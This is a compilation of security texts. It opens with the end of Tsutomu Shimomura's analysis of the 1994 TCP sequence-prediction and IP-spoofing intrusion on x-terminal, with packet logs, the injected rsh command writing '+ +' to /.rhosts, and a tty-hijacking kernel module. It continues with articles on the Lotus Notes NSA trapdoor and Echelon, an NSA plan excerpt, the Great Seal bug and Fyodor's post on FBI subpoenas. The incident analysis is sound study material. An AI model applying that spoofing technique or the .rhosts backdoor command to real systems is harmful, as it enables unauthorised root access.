14:18:30.342506 apollo.it.luc.edu.992 > x-terminal.shell: R 1382726999:1382726999(0) win 0
14:18:30.604547 apollo.it.luc.edu.991 > x-terminal.shell: S 1382726999:1382726999(0) win 4096
14:18:30.775232 x-terminal.shell > apollo.it.luc.edu.991: S 2022976000:2022976000(0) ack 1382727000 win 4096
14:18:30.852084 apollo.it.luc.edu.991 > x-terminal.shell: R 1382727000:1382727000(0) win 0
14:18:31.115036 apollo.it.luc.edu.990 > x-terminal.shell: S 1382727000:1382727000(0) win 4096
14:18:31.284694 x-terminal.shell > apollo.it.luc.edu.990: S 2023104000:2023104000(0) ack 1382727001 win 4096
14:18:31.361684 apollo.it.luc.edu.990 > x-terminal.shell: R 1382727001:1382727001(0) win 0
14:18:31.627817 apollo.it.luc.edu.989 > x-terminal.shell: S 1382727001:1382727001(0) win 4096
14:18:31.795260 x-terminal.shell > apollo.it.luc.edu.989: S 2023232000:2023232000(0) ack 1382727002 win 4096
14:18:31.873056 apollo.it.luc.edu.989 > x-terminal.shell: R 1382727002:1382727002(0) win 0
14:18:32.164597 apollo.it.luc.edu.988 > x-terminal.shell: S 1382727002:1382727002(0) win 4096
14:18:32.335373 x-terminal.shell > apollo.it.luc.edu.988: S 2023360000:2023360000(0) ack 1382727003 win 4096
14:18:32.413041 apollo.it.luc.edu.988 > x-terminal.shell: R 1382727003:1382727003(0) win 0
14:18:32.674779 apollo.it.luc.edu.987 > x-terminal.shell: S 1382727003:1382727003(0) win 4096
14:18:32.845373 x-terminal.shell > apollo.it.luc.edu.987: S 2023488000:2023488000(0) ack 1382727004 win 4096
14:18:32.922158 apollo.it.luc.edu.987 > x-terminal.shell: R 1382727004:1382727004(0) win 0
14:18:33.184839 apollo.it.luc.edu.986 > x-terminal.shell: S 1382727004:1382727004(0) win 4096
14:18:33.355505 x-terminal.shell > apollo.it.luc.edu.986: S 2023616000:2023616000(0) ack 1382727005 win 4096
14:18:33.435221 apollo.it.luc.edu.986 > x-terminal.shell: R 1382727005:1382727005(0) win 0
14:18:33.695170 apollo.it.luc.edu.985 > x-terminal.shell: S 1382727005:1382727005(0) win 4096
14:18:33.985966 x-terminal.shell > apollo.it.luc.edu.985: S 2023744000:2023744000(0) ack 1382727006 win 4096
14:18:34.062407 apollo.it.luc.edu.985 > x-terminal.shell: R 1382727006:1382727006(0) win 0
14:18:34.204953 apollo.it.luc.edu.984 > x-terminal.shell: S 1382727006:1382727006(0) win 4096
14:18:34.375641 x-terminal.shell > apollo.it.luc.edu.984: S 2023872000:2023872000(0) ack 1382727007 win 4096
14:18:34.452830 apollo.it.luc.edu.984 > x-terminal.shell: R 1382727007:1382727007(0) win 0
14:18:34.714996 apollo.it.luc.edu.983 > x-terminal.shell: S 1382727007:1382727007(0) win 4096
14:18:34.885071 x-terminal.shell > apollo.it.luc.edu.983: S 2024000000:2024000000(0) ack 1382727008 win 4096
14:18:34.962030 apollo.it.luc.edu.983 > x-terminal.shell: R 1382727008:1382727008(0) win 0
14:18:35.225869 apollo.it.luc.edu.982 > x-terminal.shell: S 1382727008:1382727008(0) win 4096
14:18:35.395723 x-terminal.shell > apollo.it.luc.edu.982: S 2024128000:2024128000(0) ack 1382727009 win 4096
14:18:35.472150 apollo.it.luc.edu.982 > x-terminal.shell: R 1382727009:1382727009(0) win 0
14:18:35.735077 apollo.it.luc.edu.981 > x-terminal.shell: S 1382727009:1382727009(0) win 4096
14:18:35.905684 x-terminal.shell > apollo.it.luc.edu.981: S 2024256000:2024256000(0) ack 1382727010 win 4096
14:18:35.983078 apollo.it.luc.edu.981 > x-terminal.shell: R 1382727010:1382727010(0) win 0

Note that each SYN-ACK packet sent by x-terminal has an initial sequence number
which is 128,000 greater than the previous one.

-----

We now see a forged SYN (connection request), allegedly from server.login
to x-terminal.shell. The assumption is that x-terminal probably trusts
server, so x-terminal will do whatever server (or anything masquerading
as server) asks.

x-terminal then replies to server with a SYN-ACK, which must be ACK'd in
order for the connection to be opened. As server is ignoring packets sent
to server.login, the ACK must be forged as well.

Normally, the sequence number from the SYN-ACK is required in order to
generate a valid ACK. However, the attacker is able to predict the
sequence number contained in the SYN-ACK based on the known behavior of
x-terminal's TCP sequence number generator, and is thus able to ACK the
SYN-ACK without seeing it:

14:18:36.245045 server.login > x-terminal.shell: S 1382727010:1382727010(0) win 4096
14:18:36.755522 server.login > x-terminal.shell: . ack 2024384001 win 4096

-----

The spoofing machine now has a one-way connection to x-terminal.shell which
appears to be from server.login. It can maintain the connection and send
data provided that it can properly ACK any data sent by x-terminal. It
sends the following:

14:18:37.265404 server.login > x-terminal.shell: P 0:2(2) ack 1 win 4096
14:18:37.775872 server.login > x-terminal.shell: P 2:7(5) ack 1 win 4096
14:18:38.287404 server.login > x-terminal.shell: P 7:32(25) ack 1 win 4096

which corresponds to:
14:18:37 server# rsh x-terminal "echo + + >>/.rhosts"

Total elapsed time since the first spoofed packet: < 16 seconds

-----

The spoofed connection is now shut down:

14:18:41.347003 server.login > x-terminal.shell: . ack 2 win 4096
14:18:42.255978 server.login > x-terminal.shell: . ack 3 win 4096
14:18:43.165874 server.login > x-terminal.shell: F 32:32(0) ack 3 win 4096
14:18:52.179922 server.login > x-terminal.shell: R 1382727043:1382727043(0) win 4096
14:18:52.236452 server.login > x-terminal.shell: R 1382727044:1382727044(0) win 4096

-----

We now see RSTs to reset the "half-open" connections and empty the connection
queue for server.login:

14:18:52.298431 130.92.6.97.600 > server.login: R 1382726960:1382726960(0) win 4096
14:18:52.363877 130.92.6.97.601 > server.login: R 1382726961:1382726961(0) win 4096
14:18:52.416916 130.92.6.97.602 > server.login: R 1382726962:1382726962(0) win 4096
14:18:52.476873 130.92.6.97.603 > server.login: R 1382726963:1382726963(0) win 4096
14:18:52.536573 130.92.6.97.604 > server.login: R 1382726964:1382726964(0) win 4096
14:18:52.600899 130.92.6.97.605 > server.login: R 1382726965:1382726965(0) win 4096
14:18:52.660231 130.92.6.97.606 > server.login: R 1382726966:1382726966(0) win 4096
14:18:52.717495 130.92.6.97.607 > server.login: R 1382726967:1382726967(0) win 4096
14:18:52.776502 130.92.6.97.608 > server.login: R 1382726968:1382726968(0) win 4096
14:18:52.836536 130.92.6.97.609 > server.login: R 1382726969:1382726969(0) win 4096
14:18:52.937317 130.92.6.97.610 > server.login: R 1382726970:1382726970(0) win 4096
14:18:52.996777 130.92.6.97.611 > server.login: R 1382726971:1382726971(0) win 4096
14:18:53.056758 130.92.6.97.612 > server.login: R 1382726972:1382726972(0) win 4096
14:18:53.116850 130.92.6.97.613 > server.login: R 1382726973:1382726973(0) win 4096
14:18:53.177515 130.92.6.97.614 > server.login: R 1382726974:1382726974(0) win 4096
14:18:53.238496 130.92.6.97.615 > server.login: R 1382726975:1382726975(0) win 4096
14:18:53.297163 130.92.6.97.616 > server.login: R 1382726976:1382726976(0) win 4096
14:18:53.365988 130.92.6.97.617 > server.login: R 1382726977:1382726977(0) win 4096
14:18:53.437287 130.92.6.97.618 > server.login: R 1382726978:1382726978(0) win 4096
14:18:53.496789 130.92.6.97.619 > server.login: R 1382726979:1382726979(0) win 4096
14:18:53.556753 130.92.6.97.620 > server.login: R 1382726980:1382726980(0) win 4096
14:18:53.616954 130.92.6.97.621 > server.login: R 1382726981:1382726981(0) win 4096
14:18:53.676828 130.92.6.97.622 > server.login: R 1382726982:1382726982(0) win 4096
14:18:53.736734 130.92.6.97.623 > server.login: R 1382726983:1382726983(0) win 4096
14:18:53.796732 130.92.6.97.624 > server.login: R 1382726984:1382726984(0) win 4096
14:18:53.867543 130.92.6.97.625 > server.login: R 1382726985:1382726985(0) win 4096
14:18:53.917466 130.92.6.97.626 > server.login: R 1382726986:1382726986(0) win 4096
14:18:53.976769 130.92.6.97.627 > server.login: R 1382726987:1382726987(0) win 4096
14:18:54.039039 130.92.6.97.628 > server.login: R 1382726988:1382726988(0) win 4096
14:18:54.097093 130.92.6.97.629 > server.login: R 1382726989:1382726989(0) win 4096

server.login can again accept connections.

-----

After root access had been gained via IP address spoofing, a kernel module
named "tap-2.01" was compiled and installed on x-terminal:

x-terminal% modstat
Id Type Loadaddr Size B-major C-major Sysnum Mod Name
1 Pdrv ff050000 1000 59. tap/tap-2.01 alpha

x-terminal% ls -l /dev/tap
crwxrwxrwx 1 root 37, 59 Dec 25 14:40 /dev/tap

This appears to be a kernel STREAMS module which can be pushed onto an
existing STREAMS stack and used to take control of a tty device. It was
used to take control of an already authenticated login session to target
at about 14:51 PST.

-----

Of course, no attack would be complete without the personal touch. Check
out:
ftp://ftp.sdsc.edu/pub/security/sounds/tweedle-dee.au
ftp://ftp.sdsc.edu/pub/security/sounds/tweedle-dum.au

These are in Sun audio file format, 8-bit u-law, 8 khz sample rate.

---
Tsutomu Shimomura tsutomu@ucsd.edu +1 619 534 5050
University of California at San Diego/San Diego Supercomputer Center, USA

++++++


Only NSA can listen, so that's OK

Duncan Campbell 01.06.1999

Export version of Lotus Notes provides trapdoor for NSA.
<
Giant US software manufacturer Lotus has been lowering the profile of information about how they have installed an NSA-only trapdoor into e-mail and conference systems used by many European governments, including the German Ministry of Defence, the French Ministry of Education and Research and the Ministry of Education in Latvia.

Last week in Brussels, Lotus staged a lavish "Global Government Forum" to try and gain more government customers for its software. They succeeded in striking a new 500,000 user deal with the Russian Ministry of Higher and Professional Education for the development of a new information infrastructure for the Russian education system. Yet another conference, Lotus Eurosphere '99, will be held in Berlin in October.

Lotus claims that its systems are inherently more secure than those from its main rival, Microsoft.
However, although details of how the NSA trapdoor works can still be found in some corners of the web (see [External Link] IBM Redbook, Page 80), the key technical papers and press releases which reveal how Lotus worked with NSA to build a special trapdoor into the International Edition of Lotus Notes have disappeared from the web.

Visitors to the security pages on Lotus's [External Link] website are now told that the export version of Lotus Notes uses "a system approved by the US government called "Workgroup Differential" and "encrypt(s) information using 64 bit keys".

The name "Workgroup Differential" is meaningless. The correct title is "Differential Workfactor Cryptography". The "differential workfactor" means that the US National Security Agency can break the code on Lotus Notes private messages 16 million times faster than anyone else.

How "Differential Workfactor Cryptography" works was revealed by Lotus itself three years ago. Although the documents concerned have now disappeared from the web, Telepolis has obtained copies.

In a keynote speech to the RSA Data Security Conference on 17 January 1996, Ray Ozzie, President of Lotus designers Iris Associates revealed how Lotus had come to terms with American government export controls, which prohibited the export of cryptographic systems with a key length over 40 bits.

He told them that no-one regarded this as secure:


"Our customers have lost confidence in 40-bit crypto. They told us that, if we were going to continue to market 40-bit Lotus Notes overseas, we should stop marketing it as a secure system -- that we should start to call it "data scrambling" or "data masking" instead of encryption".


Lotus's answer was a system that let NSA easily read foreign users' e-mail, while improving security against other eavesdroppers. In a paper distributed to the RSA conference, Security Project Leader Charles Kaufman explained in detail how the system worked.

When sending e-mail messages, Lotus uses a 64 bit key. But in export editions, 24 bits of the key are broadcast with the message, reducing the effective key length to 40 bits. The 24 bits are encrypted using a public key created by the NSA. This is called the Workfactor Reduction Field. Only NSA can decrypt the information in the Workfactor Reduction Field. Once the key length is reduced to 40 bits, fast modern computers can break the code in seconds or minutes.



Only Americans could think that this was an advantage for the Lotus system.



In 1996, Kaufman also revealed that Notes had to be weakened even further to prevent users from simply removing the NSA backdoor from being sent along with their messages. To prevent foreign users tampering with the workfactor reduction field, the International Edition of Lotus Notes will refuse to decipher any message which does not contain the correct field. To check this means that the entire key to the message has to be transmitted in the message. The recipient's software then checks that the workfactor reduction field is present and correct. The fact that the full key is sent along with the message creates the possibility of a second backdoor, reducing further.

Since these papers were presented openly, European governments have become aware of the enormous scale of communications monitoring by the NSA, and by the [Local Link] Echelon network in particular. The loophole in Lotus Notes made front page news in Sweden in November 1997. Although the company did not deny the allegation, they claimed that the American government would not "misuse" them.

Since the row in Sweden, both Lotus and RSA have removed the 1996 papers from their web sites. Another Lotus employee claimed "we haven't weakened the security of international encryption, but actually made it equal to the US security (to everyone but the NSA). We are proud of this arrangement" (our emphasis).

Only Americans could think that this was an advantage for the Lotus system. From the European perspective, the greatest threat may be economic and political espionage by NSA. With Lotus bent on increasing its markets in Europe, there must be serious questions about whether users are being told the whole truth about security.

Australia first to admit "we're part of global surveillance system"

Duncan Campbell 28.05.1999

Echelon outed by the head of Australia's Defence Signals Directorate (DSD), Martin Brady.
Australia, one of five countries running the controversial Echelon global surveillance network, has become the first to admit it. The Australian government has confirmed that the system spies on the international communications of it own and other countries' citizens. As part of their disclosures, Australian intelligence officials have also published details of secret government orders which restrict spying on Australian citizens.

Besides requiring European countries to start dealing seriously with the threat of economic espionage through the Echelon system, the Australian disclosures should force other nations to review whether the protections for their citizens' privacy matches up to the Australian standards - if they exist at all.

In a series of letters to Australia's Channel Nine "Sunday" programme, revealed this week, the head of Australia's Defence Signals Directorate (DSD), Martin Brady, states that DSD "does co-operate with counterpart signals intelligence organisations overseas under the UKUSA relationship". The contents of the letters were disclosed after the Nine Network transmitted a one hour documentary on Echelon, last Sunday.

The UKUSA agreement binds together the giant US National Security Agency with the signals intelligence organisations of Britain, Canada, Australia and New Zealand. Although its precise terms have never been revealed, the UKUSA agreement provides for sharing facilities, staff, methods, tasks and product between participating governments.

Under the Echelon system, millions of messages are automatically intercepted every hour, and checked according to criteria supplied by intelligence agencies and governments in all five UKUSA countries. The intercepted signals are passed through a computer system called the Dictionary, which checks each new message or call against thousands of "collection" requirements. The Dictionaries then send the messages into the spy agencies' equivalent of the Internet, making them accessible all over the world.

Satellite control centre in the desert

DSD runs some of the world's most famous spying bases, including Pine Gap, an isolated satellite control centre near Alice Springs in the middle of the hot central Australian desert "outback". For more than 30 years, Pine Gap has controlled the CIA's electronic listening satellites, called Rhyolite, Aquacade and Magnum.

Australians have long suspected that the CIA-run station spied on their communications. The use and control of Pine Gap by the CIA was a central issue in the overthrow of radical labour Prime Minister Gough Whitlam in 1975. The Australian government now claims that after years of controversy, Australians are in charge. They also say that a former "American-only" communications centre on the base has been closed down, and that Australian staff now see everything the CIA satellites do.

The Australian government admits that DSD's satellite interception station at Kojarena in Western Australia is part of the Echelon system. Four satellite antennae at the base intercept fax, e-mail, data and telephone calls passing through Intelsat satellites over the Indian and Pacific Oceans. Australia, however, does not use the codename "Echelon" for its station.

About 80 per cent of the messages intercepted at Kojarena are sent on automatically to the CIA or NSA without ever being seen or read in Australia. Among the "collection requirements" that the Kojarena Dictionary is told to look for are North Korean economic, diplomatic and military messages and data, Japanese trade ministry plans, and Pakistani developments in nuclear weapons technology and testing. In return, Australia can ask for information collected at other Echelon stations to be sent to Canberra.

Transatlantic irritations

Director Brady's decision to break ranks with the US and officially admit the existence of the hitherto officially unacknowledged spying organisation called UKUSA is likely to irritate his British and American counterparts, who have spent the last 50 years trying to prevent their own citizens from learning anything about them or their business of "signals intelligence" - "sigint" for short.

International and governmental concern about the UKUSA Echelon system has grown dramatically since 1996, when New Zealand writer Nicky Hager revealed intimate details of how it operated.

New Zealand runs an Echelon satellite interception site at Waihopai. A year after publishing his book, Hager and New Zealand TV reporter John Campbell mounted a daring raid on Waihopai, and sneaked inside the base, complete with a TV camera and a stepladder. From open, high windows, they then filmed into and inside its operations centre.

They were astonished to see that it operated completely automatically. Lights flashed on long racks of electronic equipment as messages were analysed and sent on. Rows of computer monitors sat unattended, as the codeword "Envoy" rotated round the screens.

Campbell and Hager's film includes shots in which they zoom in to scrutinise a supervisor's desk. Viewers can then see that the manuals the New Zealand sigint agency is using are the manuals for the Intelsat satellite which supplies communications to the South Pacific Islands.

Domestic pressure

The Australian government decision to be open about the UKUSA pact and the Echelon spy system has been motivated partly by the need to respond to the growing international concern about economic intelligence gather and partly by DSD's desire to reassure Australians that its domestic spying activity is strictly limited and tightly supervised.

According to DSD Director Martin Brady, "to ensure that [our] activities do not impinge on the privacy of Australians, DSD operates under a detailed classified directive approved by Cabinet and known as the Rules on Sigint and Australian Persons".

But Australians' international calls, faxes or e-mails can be monitored by NSA or DSD in specified circumstances. These include "the commission of a serious criminal offence; a threat to the life or safety of an Australian; or where an Australian is acting as the agent of a foreign power".

Within Europe, Germany, France, Britain, the Netherlands, Sweden and Switzerland are known to run substantial signals intelligence organisations. But these organisations have never revealed whether they have any "sigint rules" concerning spying on their own or other European countries' citizens and companies.

++++


>>NSA/CSS Strategic Plan 2004-2009

Vision - Information Superiority for America and Its Allies

Intelligence and Information Assurance complement each other. Intelligence gives the Nation an information advantage over its adversaries. Information Assurance prevents others from gaining advantage over the Nation. Together the two missions promote a single goal: information superiority for America and its Allies.

Mission - To Provide and Protect Vital Information for the Nation

The National Security Agency/Central Security Service is the Nation's key cryptologic organization. It is the world's best. It affords the decisive edge by providing and protecting vital information from the battlefield to the White House. It assures the security of U.S. signals and information systems and provides intelligence derived from those of the Nation's adversaries. NSA/CSS works with its customers to understand their requirements and then collaborates with its partners to deliver premier cryptologic products and services that exceed our customer's expectations.

GOAL 1: Deliver Responsive Signals Intelligence and Information Assurance for National Security Under Any Circumstance

GOAL 2: Radically Improve the Production and Protection of Information

GOAL 3: Enhance an Expert Workforce to Meet Global Cryptologic Challenges

GOAL 4: Create and Integrate Business Management Capabilities Within the Enterprise and With Stakeholders

Personal Obligations

Each of us bears personal responsibility for the transformation of NSA/CSS.

Our actions will be guided by the following principles:

* Integrity and Stewardship
* Lawfulness
* Loyalty and Commitment
* Openness and Respect
* Teaming and Collaboration
* Continuous Learning
* Service

+++++


>>Great Seal Exhibit


Picture of the Great SealOn August 4, 1945, Soviet school children gave a carving of the Great Seal of the United States to U.S. Ambassador Averell Harriman. It hung in the ambassador’s Moscow residential office until 1952 when the State Department discovered that it was ‘bugged.’

The microphone hidden inside was passive and only activated when the Soviets wanted it to be. They shot radio waves from a van parked outside into the ambassador’s office and could then detect the changes of the microphone’s diaphragm inside the resonant cavity. When Soviets turned off the radio waves it was virtually impossible to detect the hidden ‘bug.’ The Soviets were able to eavesdrop on the U.S. ambassador’s conversations for six years.

Picture of the inside of the Graet Seal showing the hidden microphone The replica on display in the museum was molded from the original after it came to NSA for testing. The exhibit can be opened to reveal a copy of the microphone and the resonant cavity inside.


+++++


From: Fyodor
To: nmap-hackers@insecure.org
Date: Tue, 23 Nov 2004 17:41:49 -0800
Subject: FBI Subpoenas

Let me first wish you Americans a happy Thanksgiving. Meanwhile, I'm
hard at work on a holiday Nmap version which should be available by
Christmas.

But enough pleasantries -- I want to discuss a sobering topic. With
increasing regularity this year, FBI agents from all over the country
have contacted me demanding webserver log data from Insecure.Org.
They don't give me reasons, but they generally seem to be
investigating a specific attacker who they think may have visited the
Nmap page at a certain time. If they see that an attacker ran the
command "wget http://download.insecure.org/nmap/dist/nmap-3.77.tgz"
from a compromised host, they assume that she might have obtained that
URL by visiting the Nmap download page from her home computer. So
far, I have never given them anything. In some cases, they asked too
late and data had already been purged through our data retention
policy. In other cases, they failed to serve the subpoena properly.
Sometimes they try asking without a subpoena and give up when I demand
one.

One can argue whether helping the FBI is good or bad. Remember that
they might be going after spammers, cyber-extortionists, DDOS kiddies,
etc. In this, I wish them the best. Nmap was designed to help
security -- the criminals and spammers put my work to shame! But the
desirability of helping the FBI is immaterial -- I may be forced by
law to comply with legal, properly served subpoenas. At the same
time, I'll try to fight anything too broad (like if they ask for
weblogs for a whole month). Protecting your privacy is important to
me, but Nmap users should be savvy enough to know that all of your
network activity leave traces. I'm not the only one who gets these
subpoenas -- large ISPs and webmail providers receive them daily.
Most other major security sites probably do too. Most of you probably
don't care if someone finds out that you downloaded Nmap, Nessus,
Hping2, John the Ripper, etc. Nothing on Insecure.Org is illegal.
But for those of you who do care, there are plenty of mechanisms
available to preserve your anonymity. Remember this security mantra:
defense in depth .

++++


A Nexus23 Sailing Ship